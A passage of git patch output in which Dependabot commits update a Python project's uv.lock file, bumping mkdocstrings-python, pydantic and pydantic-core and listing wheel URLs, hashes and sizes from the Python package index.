"https://files.pythonhosted.org/packages/c3/3c/fe55b2bd5c6113c906511cd88f6a470195c5fbff1124f19970ab706c3477/lxml-6.1.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d9b3e7d71bf6acff341233417abbdface29c647e3113892d9aaedc02eb4aa2bc", size = 5255814, upload-time = "2026-09-02T14:48:50.948Z" }, + { url = "https://files.pythonhosted.org/packages/e7/a7/485df55acf55dc35e4ca89d2f48f03889e5a3241826b18b85102b32ce9d8/lxml-6.1.3-cp313-cp313-win32.whl", hash = "sha256:160fcf381f76c3aeac28a756bec44f48942a8f7245a87aa28e3a523b4d90cd87", size = 3602214, upload-time = "2026-09-02T14:48:53.236Z" }, + { url = "https://files.pythonhosted.org/packages/c0/28/e46a7702bd95e9043291f7c3539b6184cba66f96cea9936f20939b284eeb/lxml-6.1.3-cp313-cp313-win_amd64.whl", hash = "sha256:e477aca0bc0d19f3b4ae9e4f2a1cfd687c31bf772d78734910658186b40b2477", size = 4004091, upload-time = "2026-09-02T14:48:55.699Z" }, + { url = "https://files.pythonhosted.org/packages/8a/1d/154c78e20479a43916e63f19cb720d83f44f024b03228be44c92d9a97b24/lxml-6.1.3-cp313-cp313-win_arm64.whl", hash = "sha256:b1cc980905221a5d8b3c476330730b3adb40ff80add71ffbdb6215ba055656f1", size = 3665468, upload-time = "2026-09-02T14:48:57.703Z" }, + { url = "https://files.pythonhosted.org/packages/0c/15/fc75a70b0af6021d0ea16811f1fc71cc42cd06ce90fe10f007a69b2eed84/lxml-6.1.3-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:2bec13085dc8ef48a3fe62f7dfcacfeda2c785cdf19cc8eeda2bb9ed081da165", size = 8609725, upload-time = "2026-09-02T14:49:00.156Z" }, + { url = "https://files.pythonhosted.org/packages/84/ef/398fcf9018f881ec9aeaafae1ddd6586dfb13314a35d35e899de373dcae0/lxml-6.1.3-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:4f4db7c7e954d289d71878938348b3d91b904a3e8210a11939359fb758a58e7d", size = 4639629, upload-time = "2026-09-02T14:49:02.81Z" }, + { url = "https://files.pythonhosted.org/packages/a7/2d/49b6a6ad7ce8f64b07b9fe852ff0c6d3fcbb26db61bee4f63d4120180a1c/lxml-6.1.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2cae5d5c90a62d9139c512a0cb1aad1d182b022b5740daea2617eb5bf7fc658e", size = 4965074, upload-time = "2026-09-02T14:49:05.133Z" }, + { url = "https://files.pythonhosted.org/packages/66/bc/6230cf80e4331c33383b0b6b73dc31a393dd76edd4cb73d761de5123034d/lxml-6.1.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c6c0c13128a32eb04a51357e56a094e13aa8e6d3d1884de2e9ae923f6915e1a8", size = 5099355, upload-time = "2026-09-02T14:49:07.343Z" }, + { url = "https://files.pythonhosted.org/packages/ac/cf/d1143d9b7717e07a82f158a1fc9ce6e581fdad1226734950af869e3ffde4/lxml-6.1.3-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2221e88679d1351e9a40aaee54bc65679b9795bbd0160bc3d5e36b163344eb75", size = 5036795, upload-time = "2026-09-02T14:49:09.65Z" }, + { url = "https://files.pythonhosted.org/packages/31/6f/194bb00ffb89712c30f5a7e1b8e685590e140fad6c8261fec172c09a3dc0/lxml-6.1.3-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cfb398886a7eb4c719161c3efcff2a1248febc53a4d8e5072d2d8a87fed84ac9", size = 5658740, upload-time = "2026-09-02T14:49:11.9Z" }, + { url = "https://files.pythonhosted.org/packages/e9/44/27e3cee3dcdb3b7bc09727b642bdbfcd098490ea77df04611db9060d7722/lxml-6.1.3-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7eb78ba28b187e1e9203a55c60fcf70df2d22cb205fe6d51b9383d6097419f0", size = 5245991, upload-time = "2026-09-02T14:49:14.154Z" }, + { url = "https://files.pythonhosted.org/packages/ca/e9/8312560579fc980bbd2233a8a673cc46f7d613d3633f2bf08a21e8f4ad13/lxml-6.1.3-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:ea6b1e9105b4b24a34c722432d9fb578f9ed83af21fa1abda639011e0f22bbb6", size = 5354136, upload-time = "2026-09-02T14:49:16.459Z" }, + { url = "https://files.pythonhosted.org/packages/74/d8/eda60f4f73a9c780b5d6e1175484f66e6c81a2c93346e2906a1fec9c7a02/lxml-6.1.3-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:e8b17e23df3e827a69d25af70990ca2420e92668aaffaeeb3cd2351d7916a023", size = 4704379, upload-time = "2026-09-02T14:49:19.032Z" }, + { url = "https://files.pythonhosted.org/packages/ba/c8/c9cc60057be78ac34bd2b842e45e6e88edbfe5e532e82c3b82381b7aab49/lxml-6.1.3-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1b7c37339d7e75cab9a123a04248e243cefefb302ad6db566ea0c77cbcde421e", size = 5258676, upload-time = "2026-09-02T14:49:21.306Z" }, + { url = "https://files.pythonhosted.org/packages/41/7b/66894008fee8d1785b8db129747ae963fd427b68f456918df7f2f24a8b98/lxml-6.1.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:83e3a51e7933db700a0da0db31849db3a24022d9970da9bb73001e1d0326fd92", size = 5090069, upload-time = "2026-09-02T14:49:23.562Z" }, + { url = "https://files.pythonhosted.org/packages/8b/31/c1b60404859f4c3cd1f41f29c65a24e25cea78fde822d9574a21f66810be/lxml-6.1.3-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:9bde9ae026a55b9a192078dfa6e27dd0ca4a050171ab6272e92f97b757dfdf48", size = 4741958, upload-time = "2026-09-02T14:49:26.037Z" }, + { url = "https://files.pythonhosted.org/packages/23/b8/6285f0cf546f14da2554cabdeaf7c2c2ff3190c74807f0de2e8810a786f9/lxml-6.1.3-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:1a635e837b50a1819bebfedaac5916498ea024120969da8790500148fb0a894d", size = 5683245, upload-time = "2026-09-02T14:49:28.438Z" }, + { url = "https://files.pythonhosted.org/packages/d3/f6/2168cab44336dcb15fed0f0b78577225b83297cdf0dee349c95420c3dcb0/lxml-6.1.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d0c5c362bc94f1929dc7e96e715bbe7bd17037f802e6d8f0d1545df9133c0559", size = 5246087, upload-time = "2026-09-02T14:49:30.955Z" }, + { url = "https://files.pythonhosted.org/packages/f5/89/32f5de69a0a31f30e6164981851f87b37ecb2c4ee838e504b88d49d4818e/lxml-6.1.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c59e4265608da6a041f54646ecc0c9ecdbb19aaf14c4c684bb6c2114998cc415", size = 5269352, upload-time = "2026-09-02T14:49:33.502Z" }, + { url = "https://files.pythonhosted.org/packages/a2/a1/741d952ed3a7ef7a50055c6415aec3f067015e97f72f4389ce77b09657ba/lxml-6.1.3-cp314-cp314-win32.whl", hash = "sha256:2e62c569ec7531b679b184cbfe335c501c1d13c4b363560013019962eb630e6d", size = 3662783, upload-time = "2026-09-02T14:50:23.751Z" }, + { url = "https://files.pythonhosted.org/packages/0f/bc/5811cc73cac05e324e05ba9b0924e1a163a317a167ede8a9c748b11db30a/lxml-6.1.3-cp314-cp314-win_amd64.whl", hash = "sha256:66299564c046bc7e0cc5de5106601eae907e9fa5904cd68a323380a8502f7861", size = 4073951, upload-time = "2026-09-02T14:50:26.348Z" }, + { url = "https://files.pythonhosted.org/packages/92/18/3768c8b01ac3a9bed1914715e6011711b00e2a11628ffa6f7fa37f8e0269/lxml-6.1.3-cp314-cp314-win_arm64.whl", hash = "sha256:ebd054ad1737a68fb7c5c073d405cef2b88bb824e294de3b4a4e995b47f0e376", size = 3749279, upload-time = "2026-09-02T14:50:28.749Z" }, + { url = "https://files.pythonhosted.org/packages/72/38/84684784738d9451db2b330de2483f496690c3a5c642071df24135739b37/lxml-6.1.3-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:5a143e6207579de8baeded4eaac9134413200359f1969d636f0bfb98ee8c3c8f", size = 8860296, upload-time = "2026-09-02T14:49:36.346Z" }, + { url = "https://files.pythonhosted.org/packages/24/b7/fc4c50bb1b38e864010ea396046cabe85129bf9e65b11edcfbc37d356241/lxml-6.1.3-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:a1cec0f99b9b914d39176347a93b7610dc09324491aee1cbc57cd291a41a1d55", size = 4755190, upload-time = "2026-09-02T14:49:39.872Z" }, + { url = "https://files.pythonhosted.org/packages/94/e2/ee9aa6ed2b666b2db1f6f7fd48964ff9da39ebe827ef5eac0ab881f639d9/lxml-6.1.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f6b9d2aad499c769ee8287609ab0e6de99d8bcea99c6e6c2e64945259fd52fb2", size = 4979517, upload-time = "2026-09-02T14:49:42.153Z" }, + { url = "https://files.pythonhosted.org/packages/29/e3/e7763d1661b283ddd4fa36f91b9a497db6b8d2aff55028b16c7f642e0755/lxml-6.1.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a23fefdb345b2d4d0ff2860571b5ff9a89a28b6a120f720e8fb0324d346626", size = 5115270, upload-time = "2026-09-02T14:49:44.493Z" }, + { url = "https://files.pythonhosted.org/packages/2d/cd/22205d5b4d177e3f4156f780412426ee7c7f8107809f119f0dcc40fa51e3/lxml-6.1.3-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:545ccc14fb05485f48b4439ec35beb16d5b5280eb6c81c658bd4707a2a119414", size = 5032449, upload-time = "2026-09-02T14:49:46.841Z" }, + { url = "https://files.pythonhosted.org/packages/da/43/06a4626c3bb79ef8c501b674afab8100d64e798665bb2a97d1c960636a49/lxml-6.1.3-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:93476b6514b373fc6ca67d26c442784f7807c86f00635bfe79f935c3eab2af17", size = 5603325, upload-time = "2026-09-02T14:49:49.664Z" }, + { url = "https://files.pythonhosted.org/packages/d0/9c/733682a0c2de9f5779ba207bbb3f3f6be8c6bda863fc01739b186b38783a/lxml-6.1.3-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8db38ff3fb7aee7d6a82ae4da2eef1178656fe1216841fbd24870062a9d60473", size = 5229023, upload-time = "2026-09-02T14:49:52.447Z" }, + { url = "https://files.pythonhosted.org/packages/c6/8a/e69cdaca3fd33a647942925664f01b20908d41a6968c182305be9c38fb11/lxml-6.1.3-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:25f4118c438f96bb466e83108506d03d5c31b1bd2387e83e5b070bda6ded9c37", size = 5317811, upload-time = "2026-09-02T14:49:55.25Z" }, + { url = "https://files.pythonhosted.org/packages/2e/b2/0c397588174403c2ab68fc464abf97e03e7324f9c6cb6a99023104707195/lxml-6.1.3-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:1beb0f9909b26cee938df9ba56b15252a84429b1fc30ce6fca161390b9789a70", size = 4646516, upload-time = "2026-09-02T14:49:57.761Z" }, + { url = "https://files.pythonhosted.org/packages/56/7e/cfea25afafbe49db8b225764f7f74bb37c2a7f5e717d917d3d4a5e098ed4/lxml-6.1.3-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3a27ac6c780c8b8a1cd231b58407634cafc1c4cc28cd6c7141362df0f36351e7", size = 5240626, upload-time = "2026-09-02T14:50:00.279Z" }, + { url = "https://files.pythonhosted.org/packages/a1/75/7a587771bb52ebb0e2c57b6dbe9fd96a70fbb54d72ddd97d54c5f8ec18d5/lxml-6.1.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:a1932d7ce78a561367512c594fe66eac2b2ec9b9264cfd9b5f950622f4a116e2", size = 5086619, upload-time = "2026-09-02T14:50:03.245Z" }, + { url = "https://files.pythonhosted.org/packages/1e/01/94c0ebe6d831861542d251e038052e52bf6d33f1d18f1cfffdc82851065a/lxml-6.1.3-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:7d0f5976aa2701996f759b30172925829867547bb073af0ae67d1307a0f0262c", size = 4758828, upload-time = "2026-09-02T14:50:05.873Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f1/938d67bd0e5b1fdfa52be28aefdffbad57e1f6b8e921c2aab88542c75f40/lxml-6.1.3-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:c5e7ce578aa8a80910a72a8ca0bbea3baae10100827249001999726a788456d8", size = 5627083, upload-time = "2026-09-02T14:50:08.555Z" }, + { url = "https://files.pythonhosted.org/packages/d8/65/4e51522f6c214650db0abb7b16ccd11b1238b8a05a8d59aa4ebed59c9f67/lxml-6.1.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:d97c5227621af74b111882a290b10f371780a38eef9d9e730408fba2259b52fb", size = 5235170, upload-time = "2026-09-02T14:50:11.255Z" }, + { url = "https://files.pythonhosted.org/packages/92/c2/e73d19365665f6b16ef84df21199befc3b06e4c539046ad2d9595f6fb9ea/lxml-6.1.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:da707f14ea3c35ee463d50acd596d6488e4b2b4ae7cf77a5bf93f55c023d63e8", size = 5252273, upload-time = "2026-09-02T14:50:13.782Z" }, + { url = "https://files.pythonhosted.org/packages/48/a9/7f386c84c9fe2854e1ca6e231c285e1c8f392971ac353c6865e6ec49faff/lxml-6.1.3-cp314-cp314t-win32.whl", hash = "sha256:9efe56a68179f3adc4de41861c9358931db03837c48dd5e1c78077b84dd07f3a", size = 3902712, upload-time = "2026-09-02T14:50:16.171Z" }, + { url = "https://files.pythonhosted.org/packages/82/a6/8a3eb793f7900ef01c7f99e6f5fcbcfbdff35251cfaef66b32a4c16352d6/lxml-6.1.3-cp314-cp314t-win_amd64.whl", hash = "sha256:c9389b3784b56c58d933b5e0aecdf28f901b073ff385358d8a7d40907f6e14b2", size = 4400979, upload-time = "2026-09-02T14:50:18.621Z" }, + { url = "https://files.pythonhosted.org/packages/cc/c4/3807bea283b4fe9e9d9f5dde46a73df91178472b335d2778e10b2a37aa22/lxml-6.1.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32a409be3190b088f960ac92bfedfbef2f86c49ff940765e1548177592d20026", size = 3823401, upload-time = "2026-09-02T14:50:21.119Z" }, + { url = "https://files.pythonhosted.org/packages/ad/23/dc1fdf3a53f84ca88b6e942277ddb47954844a0ececea8cc5fa3c1324831/lxml-6.1.3-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:4b061064b4a2fe8598a466d723d43dbcd5a610a5d5cfe02fb6226f5c17349f75", size = 3947704, upload-time = "2026-09-02T14:46:22.27Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ed/e36d547d6c958b5693b873504735cb4d0388d545945d66a7aed8983a720b/lxml-6.1.3-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8499d464de86fab0f102313cce32a9bed9ab1f06ec813cf025cb790964fbb765", size = 4220149, upload-time = "2026-09-02T14:46:24.907Z" }, + { url = "https://files.pythonhosted.org/packages/98/54/7f51e6b6cc0755f9b5fc6637748279e9f48289d917b3a47ac9fedf3318d3/lxml-6.1.3-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9e67324961ac9bbe616cce5100514d2e34d88665aeb07071e8b16eac55d06d94", size = 4329391, upload-time = "2026-09-02T14:46:27.111Z" }, + { url = "https://files.pythonhosted.org/packages/eb/9e/840b0d2e25c10c491b010d555b46e6e5264d3ad73a91557405fceb738c35/lxml-6.1.3-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d12669a2c419b0e8dc423d23dea24bb82f6f9cb829f32e04674b0ba40322a7c", size = 4262125, upload-time = "2026-09-02T14:46:29.199Z" }, + { url = "https://files.pythonhosted.org/packages/69/8f/42a41571dfc772c12628747f883d24c978053856825b99d7a187117b8079/lxml-6.1.3-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:97acecb11cbc411473f15b8d780df06d7a9f3a2aad9aca78364f56640c8fb70e", size = 4410104, upload-time = "2026-09-02T14:46:32.102Z" }, + { url = "https://files.pythonhosted.org/packages/f3/aa/27d93812be916f1f674b2035edd86d41c77745ff2ad84f58c25a7445a397/lxml-6.1.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f8b9c8ceebae6387d0dc77f7f4dbbfbfc962dba2efbfe6877486075a480726b4", size = 3510724, upload-time = "2026-09-02T14:46:34.122Z" }, + { url = "https://files.pythonhosted.org/packages/ec/c1/2433176de263cc3f51fd2c303f993d5bb7f1da3139a0f7d168116c0bfa7a/lxml-6.1.3-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:d2765c18ce303149ee804b1f3dad11232726dd0a702d73a15cf19179ac8cc962", size = 3942969, upload-time = "2026-09-02T14:46:36.55Z" }, + { url = "https://files.pythonhosted.org/packages/7c/71/de7759096f480180fd9e43ff7c017860e2d2a9a43741ab093cbdf1820f07/lxml-6.1.3-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7d5a748d12dd9b535e0a130f60dae9ddf0adafbabe61e7864f55c7436c84547a", size = 4213008, upload-time = "2026-09-02T14:46:38.784Z" }, + { url = "https://files.pythonhosted.org/packages/b8/9b/c2d09af47a34fa6c0c27473083812b449a411680bd04bbe609cde291ddc8/lxml-6.1.3-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:41096ec0740a58dad03d3ae0c7486d306d20becefb13ceb1649835ab3eb64167", size = 4322012, upload-time = "2026-09-02T14:46:41.031Z" }, + { url = "https://files.pythonhosted.org/packages/68/f3/bf56fee0403ebd995be8e78ec9aca566016487d1b3cbf755ebea8ccffbdb/lxml-6.1.3-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:415e3a115c0d510e329020012834d1c0aa1c581ee53a218603e38abbc1dea70a", size = 4257402, upload-time = "2026-09-02T14:46:43.134Z" }, + { url = "https://files.pythonhosted.org/packages/1c/1d/6da9cc086a20d9dd6bcbf7c5d9575f0331cca9a05e67dab02d15e828170b/lxml-6.1.3-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:20428910dae17a1a93152a3ff2c0441d2f4932992c0797d65651dd0561f1792f", size = 4410889, upload-time = "2026-09-02T14:46:46.975Z" }, + { url = "https://files.pythonhosted.org/packages/03/5c/91fe48856f9f8089be3096fa4dbe4b3fb5526f3bf3e852ea9497f399cb9f/lxml-6.1.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:bc8dd3d9c93e70c3df974a201ac2958b6d77b465d813c51d1f15fa8e645763ae", size = 3511258, upload-time = "2026-09-02T14:46:49.046Z" }, ] [[package]] From 48b939a0eac58a8030fa45b7663ef02aff2cf02d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 16 Sep 2026 16:57:37 -0400 Subject: [PATCH 085/256] Bump mkdocstrings-python from 2.0.7 to 2.0.8 (#3424) Bumps [mkdocstrings-python](https://github.com/mkdocstrings/python) from 2.0.7 to 2.0.8. - [Release notes](https://github.com/mkdocstrings/python/releases) - [Changelog](https://github.com/mkdocstrings/python/blob/main/CHANGELOG.md) - [Commits](https://github.com/mkdocstrings/python/compare/2.0.7...2.0.8) --- updated-dependencies: - dependency-name: mkdocstrings-python dependency-version: 2.0.8 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 4e63637293..bd6f79fbc7 100644 --- a/uv.lock +++ b/uv.lock @@ -1747,7 +1747,7 @@ wheels = [ [[package]] name = "mkdocstrings-python" -version = "2.0.7" +version = "2.0.8" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "griffelib" }, @@ -1755,9 +1755,9 @@ dependencies = [ { name = "mkdocstrings" }, { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/90/5d/1be1c7a49d8fa13dc80f66a85f53333d52cf5206911412006ffdff8fb9a0/mkdocstrings_python-2.0.7.tar.gz", hash = "sha256:8c49faf66d243072d7590a1b5dea028d9d7425fac191f54f096123a4a9c1a783", size = 201598, upload-time = "2026-08-17T16:56:18.239Z" } +sdist = { url = "https://files.pythonhosted.org/packages/c5/65/0db919b7c91bf033b42d04f15ff16a56f4edd6afb26e84d448359660ece3/mkdocstrings_python-2.0.8.tar.gz", hash = "sha256:34545b54681cf0b212aab95394d37b0f5326a93b102f6ad1df3d965c79384c9d", size = 201771, upload-time = "2026-08-31T20:16:06.698Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/b2/6d/77546d8c26f038fce314a507106954f76270f6c182488bcf9ac9721175df/mkdocstrings_python-2.0.7-py3-none-any.whl", hash = "sha256:1fce5fbfe4ffa6e8136a35351cdc97c3bf55219c7efbd3f92a82260f93235d60", size = 105387, upload-time = "2026-08-17T16:56:16.813Z" }, + { url = "https://files.pythonhosted.org/packages/0b/b7/a5a854d4e44853f26decc0c5e0d68df052399f3da344a313da4178f00816/mkdocstrings_python-2.0.8-py3-none-any.whl", hash = "sha256:e555d9ef53b0febdeae4dd603144d4f86ec90fef672276645ea3bb61232c3d24", size = 105443, upload-time = "2026-08-31T20:16:05.25Z" }, ] [[package]] From 0c510b1e95110bb58f56c9abc95a46fc16c5a458 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 16 Sep 2026 16:57:57 -0400 Subject: [PATCH 086/256] Bump pydantic from 2.13.4 to 2.13.5 (#3426) Bumps [pydantic](https://github.com/pydantic/pydantic) from 2.13.4 to 2.13.5. - [Release notes](https://github.com/pydantic/pydantic/releases) - [Changelog](https://github.com/pydantic/pydantic/blob/v2.13.5/HISTORY.md) - [Commits](https://github.com/pydantic/pydantic/compare/v2.13.4...v2.13.5) --- updated-dependencies: - dependency-name: pydantic dependency-version: 2.13.5 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 222 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 111 insertions(+), 111 deletions(-) diff --git a/uv.lock b/uv.lock index bd6f79fbc7..725fd8c143 100644 --- a/uv.lock +++ b/uv.lock @@ -2136,7 +2136,7 @@ wheels = [ [[package]] name = "pydantic" -version = "2.13.4" +version = "2.13.5" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "annotated-types" }, @@ -2144,125 +2144,125 @@ dependencies = [ { name = "typing-extensions" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" } +sdist = { url = "https://files.pythonhosted.org/packages/53/ef/fc4f868f4e2cee79f863883abffceff107875f569b848507319842d2a681/pydantic-2.13.5.tar.gz", hash = "sha256:51a9c5f7b2f8e636f04c6cada605d9b6a3bf1348fdf945a3d8869b19bba0ee08", size = 845750, upload-time = "2026-08-28T14:04:00.916Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" }, + { url = "https://files.pythonhosted.org/packages/eb/47/c95ffc2009878c7aac0c5e08528022dcb885933252a88b5f170058014464/pydantic-2.13.5-py3-none-any.whl", hash = "sha256:346a034f080da3755d8e9cb5e00e8b07de1d39e4f6e2c87d8ab7cafa0b269a73", size = 472589, upload-time = "2026-08-28T14:03:59.136Z" }, ] [[package]] name = "pydantic-core" -version = "2.46.4" +version = "2.46.5" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" }, - { url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" }, - { url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" }, - { url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" }, - { url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" }, - { url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" }, - { url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" }, - { url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" }, - { url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" }, - { url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" }, - { url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" }, - { url = 